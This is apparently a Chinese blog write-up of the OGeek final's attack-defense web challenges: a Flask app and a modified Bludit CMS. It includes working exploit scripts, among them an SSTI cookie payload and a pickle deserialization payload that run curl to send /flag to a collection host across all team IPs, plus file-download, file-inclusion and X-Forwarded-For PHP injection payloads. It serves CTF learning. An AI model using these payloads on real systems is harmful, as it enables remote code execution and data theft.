0%

OGeek决赛两道Web总结分析

很久没有打攻防赛了,致力于写出Perfect文件监控脚本我在这次比赛翻车了,服务器没有pytyon2环境,所以回来更新成了python3了,旅游队伍意外拿了个季军,总的来说赞一下这次比赛,体验还是不错的,小小总结一下决赛的Web(场上弟弟,赛后分析,不会java,漏洞也肯定没找全,欢迎师傅贴个文章学习一波)python和php题目源码下载地址:https://pan.baidu.com/s/1DdmgtN0cZpGsX_q1j-ooTQ 提取码: 1jpa

0x01 mOtrix

一道python题,这里贴下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from flask import Flask, request, render_template,send_from_directory, make_response
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re

app = Flask(__name__)
Jinja2 = Environment()
def set_str(type,str):
retstr = "%s'%s'"%(type,str)
print(retstr)
return eval(retstr)
def get_cookie():
check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}']
return choice(check_format)

@app.route('/')
def index():
global Archives
resp = make_response(render_template('index.html', Archives = Archives))
cookies = bytes(get_cookie(), encoding = "utf-8")
value = base64.b64encode(cookies)
resp.set_cookie("username", value=value)
return resp

@app.route('/Archive/<int:id>')
def Archive(id):
global Archives
if id>len(Archives):
return render_template('message.html', msg='文章ID不存在!', status='失败')
return render_template('Archive.html',Archive = Archives[id])

@app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
try:
info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info)
username = info["name"]
except Exception as e:
print(e)
username = "Guest"

if len(msg)>27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

@app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)


@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status='向量点积')


@app.route('/robots.txt',methods=['GET'])
def texts():
return send_from_directory('/', 'flag', as_attachment=True)

if __name__ == '__main__':
app.run(host='0.0.0.0',port='5000',debug=True)

#我应该没在这上面动过

这题的洞比较多也很明显,开场就打飞了,在这上面翻车的,也在这上面薅了不少分……

1.内置后门

1
2
3
@app.route('/robots.txt',methods=['GET'])
def texts():
return send_from_directory('/', 'flag', as_attachment=True)

直接读flag文件到robots.txt文件了,所以直接访问/robots.txt就拿到flag了。

2.代码拼接

1
2
3
4
def set_str(type,str):
retstr = "%s'%s'"%(type,str)
print(retstr)
return eval(retstr)

set_str在/message处进行了调用,其中变量str取值msg,只进行了简单的处理

1
2
3
4
5
if len(msg)>27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)

所以可以任意拼接代码,给msg赋值为

1
'+open('/flag').read()+'

触发eval,直接read读取flag

3.SSTI

1
2
3
4
5
6
7
@app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)

数据接口为cookie中的username,取值后进行了一次base64解码,通过Jinja2.from_string(‘****’).render()来触发SSTI,不会的阔以参考:https://www.exploit-db.com/exploits/46386,我们在打的时候没回显,所以用的是反弹flag的方式,弹到本地然后再交,贴下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while True:
for i in range(3,21):
try:
#payload = "system('cat /flag');"
Url ="http://10.0.%s.4:5000/hello"% i
cookie = {'username':'e3sgKCkuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzkzXS5fX2luaXRfXy5fX2dsb2JhbHNfX1sic3lzIl0ubW9kdWxlc1sib3MiXS5zeXN0ZW0oJ2N1cmwgImh0dHA6Ly8xMC4xMC4yLjIwNzozMDAxL2ZsYWciIC1kICIkKGNhdCAvZj8/PykiJykgfX0='}
#print Url
IP = '10.0.%s.4'% i
print 'Target:' + IP
result=requests.post(url=Url,cookies = cookie,timeout=3)
'''flag=result.text
mat = re.compile(".*([0-9a-zA-Z]{20}).*")
flag = mat.findall(flag)[0]
print flag
submit_token(flag)'''
#submit_cookie(IP,flag)
except:
sleep(0.1)
sleep(200)

本地起个服务接收并提交flag就行了

4.反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
try:
info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info)
username = info["name"]
except Exception as e:
print(e)
username = "Guest"

if len(msg)>27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

一个pickle的反序列化,没啥东西,直接贴下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import pickle
import os
import base64
import time


class exp(object):
def __reduce__(self):
s = """curl -F token=mEs8j1Dl -F flag=$(cat /flag) http://10.10.0.2/api/flag/submit"""
return (os.system, (s,))

e = exp()
s = pickle.dumps(e)
post_data = {'msg':'','type':''}
cookie = {'user',base64.b64encode(s).decode()}
if __name__ == '__main__':
for i in range(1,21):
url = http://10.0.%s.4:5000/message"% i
try:
response = requests.post(url = url, cookies = cookie,data = post_data)
except:
time.sleep(0.1)

反序列化第二个点是numpy(我看的时候看版本挺新的,由于其触发主要还是pickle,所以这个点还是能够触发反序列化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status='向量点积')

参考https://j7ur8.github.io/WebBook/Python/Numpy%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import numpy
import pickle

class genpoc(object):

def __reduce__(self):
import os
s = """ls"""
return os.system, (s,)

e = genpoc()
flag=0
if flag:
poc = pickle.dumps(e)
print(poc)
else:
with open('1.pkl', 'wb') as f:
pickle.dump(e, f)

numpy.load('1.pkl');

把生成的1.pkl读出来直接赋值给matrix1,matrix2打就行了(感谢f1sh大师傅的指导),本地没环境,就不贴图了~

0x02 OZero

这里先贴下场上的时候z3r0yu师傅对比后的分析日志,源码下载地址:https://github.com/bludit/bludit/releases

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
被修改的几个点
1. bl-kernel/site.class.php
'dribbble'=> '',
'customFields'=> '{}'


2. bl-kernel/pagex.class.php
// Returns the value from the field, false if the fields doesn't exists
// If you set the $option as TRUE, the function returns an array with all the values of the field
public function custom($field, $options=false)
{
if (isset($this->vars['custom'][$field])) {
if ($options) {
return $this->vars['custom'][$field];
}
return $this->vars['custom'][$field]['value'];
}
return false;
}


3. bl-kernel/pages.class.php
elseif ($field=='custom') {
if (isset($args['custom'])) {
global $site;
$customFields = $site->customFields();
foreach ($args['custom'] as $customField=>$customValue) {
$html = Sanitize::html($customValue);
// Store the custom field as defined type
settype($html, $customFields[$customField]['type']);
$row['custom'][$customField]['value'] = $html;
}
unset($args['custom']);
continue;
}

} elseif ($field=='custom') {
if (isset($args['custom'])) {
global $site;
$customFields = $site->customFields();
foreach ($args['custom'] as $customField=>$customValue) {
$html = Sanitize::html($customValue);
// Store the custom field as defined type
settype($html, $customFields[$customField]['type']);
$row['custom'][$customField]['value'] = $html;
}
unset($args['custom']);
continue;
}

// Insert custom fields to all the pages in the database
// The structure for the custom fields need to be a valid JSON format
// The custom fields are incremental, this means the custom fields are never deleted
// The pages only store the value of the custom field, the structure of the custom fields are in the database site.php
public function setCustomFields($fields)
{
$customFields = json_decode($fields, true);
if (json_last_error() != JSON_ERROR_NONE) {
return false;
}
foreach ($this->db as $pageKey=>$pageFields) {
foreach ($customFields as $customField=>$customValues) {
if (!isset($pageFields['custom'][$customField])) {
$defaultValue = '';
if (isset($customValues['default'])) {
$defaultValue = $customValues['default'];
}
$this->db[$pageKey]['custom'][$customField]['value'] = $defaultValue;
}
}
}

return $this->save();
}


4. bl-kernel/helpers/tcp.class.php
file_put_contents可能存在任意写
public static function download($url, $destination)
{
$data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
return file_put_contents($destination, $data);
}

疑似一个反序列化之后的任意文件写
public function __destruct(){
if(isset($this->filepath) && isset($this->error_log)){
file_put_contents(PATH_UPLOADS_PROFILES.$this->filepath,$this->error_log);
}
}

5. bl-kernel/functions.php
疑似可以触发上述的反序列化
// Check media
$music = $_GET['path'];
if(isset($music)){
if(!Sanitize::pathFile($music)){
$filename = basename($music);
TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
}
else{
Log::set(__METHOD__.LOG_SEP.'Media request in '.date('Y-m-d'), LOG_TYPE_INFO);

}
}

比原代码多了对json的处理
if (isset($args['customFields'])) {
// Custom fields need to be JSON format valid, also the empty JSON need to be "{}"
json_decode($args['customFields']);
if (json_last_error() != JSON_ERROR_NONE) {
return false;
}
$pages->setCustomFields($args['customFields']);
}

如果可以移动并重命名,说不定就可以利用和这个写shell
// Move the image to a proper place and rename
$image = $imageDir.$nextFilename;
Filesystem::mv($file, $image);
chmod($image, 0644);

6. tokenCSRF 被删除了,所以不需要兼顾token


7. bl-kernel/boot/rules/60.router.php
此处的include获取可以配合errorlog来getshell

else{
$pageKey = explode("/", $pageKey);
foreach($pageKey as $key){
if(constant($key))
$plugin .=constant($key);
else
$plugin .="/".$key;
}

}
$plugin = str_replace("..","/",$plugin);
if(file_exists($plugin)){
$plugin = addslashes($plugin);
include $plugin;
}
}

8. bl-kernel/boot/init.php 此处的new TCP跟上面的反序列化有点暗示
define('DEBUG_MODE', TRUE);
$https = new TCP();

9. bl-kernel/admin/views/settings.php
<?php $L->p('Custom fields') ?>

10. bl-kernel/admin/views/new-content.php
<?php if (!empty($site->customFields())): ?>
<a class="nav-link" id="nav-custom-tab" data-toggle="tab" href="#nav-custom" role="tab" aria-controls="custom"><?php $L->p('Custom') ?></a>
<?php endif ?>


<?php if (!empty($site->customFields())): ?>
<div id="nav-custom" class="tab-pane fade" role="tabpanel" aria-labelledby="custom-tab">
<?php
$customFields = $site->customFields();
foreach($customFields as $field=>$options) {
if ($options['type']=="string") {
echo Bootstrap::formInputTextBlock(array(
'name'=>'custom['.$field.']',
'label'=>(isset($options['label'])?$options['label']:''),
'value'=>(isset($options['default'])?$options['default']:''),
'tip'=>(isset($options['tip'])?$options['tip']:''),
'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:'')
));
} elseif ($options['type']=="bool") {
echo Bootstrap::formCheckbox(array(
'name'=>'custom['.$field.']',
'label'=>(isset($options['label'])?$options['label']:''),
'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:''),
'checked'=>(isset($options['checked'])?true:false),
'labelForCheckbox'=>(isset($options['tip'])?$options['tip']:'')
));
}
}
?>
</div>
<?php endif ?>

这里分析三个漏洞(反序列化用文件操作应该是可以触发的),师傅们要是分析了其他的求贴一波文章。

1.任意文件下载

经过对比分析的,可以看到tcp.class.php文件中的download方法存在任意写的问题,即向某个url发送GET请求,将返回数据写入$destination变量值命令的文件中。

1
2
3
4
5
6
#bl-kernel/helpers/tcp.class.php
public static function download($url, $destination)
{
$data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
return file_put_contents($destination, $data);
}

该方法在bl-kernel/function.php中进行了调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
elseif ($for=='category') {
$numberOfItems = $site->itemsPerPage();
// Check media
$music = $_GET['path'];
if(isset($music)){
if(!Sanitize::pathFile($music)){
$filename = basename($music);
TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
}
else{
Log::set(__METHOD__.LOG_SEP.'Media request in '.date('Y-m-d'), LOG_TYPE_INFO);

}
}
$list = $categories->getList($categoryKey, $pageNumber, $numberOfItems);
}

也就是说进入了category就可以调用了TCP类中的download方法,从而可知,我们可以下载文件到本地,并会重命名为文件名的MD5值为新文件名,并且为avi格式文件,所以我们可以利用file协议来下载本地文件,即payload为

1
category/music?path=file:///flag

(这个点一开始我们没审出来,因为上了个文件监控,发现突然生成了一个flag文件,然后直接脚本跑全场直接读Archer大佬们生成的flag文件,就这样开始起飞了,23333)

2.任意文件包含

同样在对比分析的日志里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
7. bl-kernel/boot/rules/60.router.php
此处的include获取可以配合errorlog来getshell

if ($url->whereAmI()=='page' && !$url->notFound()) {
$pageKey = $url->slug();
if (Text::endsWith($pageKey, '/')) {
$pageKey = rtrim($pageKey, '/');
Redirect::url(DOMAIN_PAGES.$pageKey);
}
else{
$pageKey = explode("/", $pageKey);
foreach($pageKey as $key){
if(constant($key))
$plugin .=constant($key);
else
$plugin .="/".$key;
}

}

$plugin = str_replace("..","/",$plugin);
if(file_exists($plugin)){
$plugin = addslashes($plugin);
include $plugin;
}
}

errorlog的点没有触发成功,不过这个倒是可以配合任意文件下载来Getshell,只要下载一个木马文件,然后包含就成了,因为前一个洞打得早,所以基本都修了,简单分析一下这个点。
跟进分析的话可以看出首先将url的path赋值给了变量$pageKey ,判断是否正常以’/‘结尾,我们直接看非’/‘结尾的,将path用’/‘分割,用constant函数来判断是否是定义的常量,是便将常量值拼接,不是便重新恢复回path,最关键的是

1
2
3
4
$plugin = str_replace("..","/",$plugin);
if(file_exists($plugin)){
$plugin = addslashes($plugin);
include $plugin;

进行..替换后,如果path表示的文件存在,addslashes()处理后直接进行文件包含,也就是说如果我url上带的是一个真实路径,就会直接文件包含了,这太真实了(在场上没精力分析- -..)所以payload

1
http://x.x.x.x:xxx/flag

也可以结合前面进行Getshell

3.代码注入

首先贴一张赛后收到的图片

看到这个我都懵了,我下源码就扫了一遍,并没有内置的后门,所以肯定是有师傅调通了调用链,把代码给写进去了,tql(近期满课,木得时间看这些东西,吼了陌小生师傅分析了一波,这里就直接借鉴他的来写了),文件路径:bl-content/databases/security.php,由于文件路由,并不能直接访问这个文件,这个肯定是在调用过程中写入的,触发的话就阔以用的任意文件包含来触发RCE,我们先来找一波调用链,我比较喜欢用全局搜索来跟代码(所以我这么菜),全局找下blackList

跟到security.class.php中有个addToBlacklist方法,简单明了,用来加黑名单的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
	// Add or update the current client IP on the blacklist
public function addToBlacklist()
{
$ip = $this->getUserIp();
$currentTime = time();
$numberFailures = 1;

if (isset($this->db['blackList'][$ip])) {
$userBlack = $this->db['blackList'][$ip];
$lastFailure = $userBlack['lastFailure'];

// Check if the IP is expired, then renew the number of failures
if($currentTime <= $lastFailure + ($this->db['minutesBlocked']*60)) {
$numberFailures = $userBlack['numberFailures'];
$numberFailures = $numberFailures + 1;
}
}

$this->db['blackList'][$ip] = array('lastFailure'=>$currentTime, 'numberFailures'=>$numberFailures);
Log::set(__METHOD__.LOG_SEP.'Blacklist, IP:'.$ip.', Number of failures:'.$numberFailures);
return $this->save();
}

......

public function getUserIp()
{
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
return $ip;
}

看下代码就很清楚了,把登录失败的用户的ip加到黑名单里,ip可以用XFF来构造,所以变量$ip是我们可控的了,也就是如果某个ip触发了黑名单规则,就会被记录下来,传入$this->db,调用save函数,跟进看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#\bl-kernel\abstract\dbjson.class.php
public function save()
{
$data = '';
if ($this->firstLine) {
$data = "<?php defined('Zero') or die('Zero CMS.'); ?>".PHP_EOL;
}

// Serialize database
$data .= $this->serialize($this->db);

// Backup the new database.
$this->dbBackup = $this->db;

// LOCK_EX flag to prevent anyone else writing to the file at the same time.
if (file_put_contents($this->file, $data, LOCK_EX)) {
return true;
} else {
Log::set(__METHOD__.LOG_SEP.'Error occurred when trying to save the database file.', LOG_TYPE_ERROR);
return false;
}
}

将this->db的数据拼接到了变量$data中,然后直接进行了file_put_contents操作,而在init.php中有申明了

1
define('DB_SECURITY', PATH_DATABASES.'security.php');

DB_SECURITY为传入构造函数的参数,也就是file,即写操作时将$data写入到了security.php中,所以也就有了开场图的东西。发个请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/ HTTP/1.1
Host: 192.168.211.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Referer: http://192.168.211.128/admin/
X-Forwarded-For: <?php phpinfo(); ?> #
Cookie: Zero-KEY=uihdv2ju8k4pfd6kl79fqpg6j3
Connection: close
Upgrade-Insecure-Requests: 1

tokenCSRF=92355c8ea77e31cc1fe5c1d7882d13dad37e9866&username=asd&password=asd&save=

在结合一下的文件包含洞

0x03 sec-login

本菜不会java,这题听说是反序列化,就不写了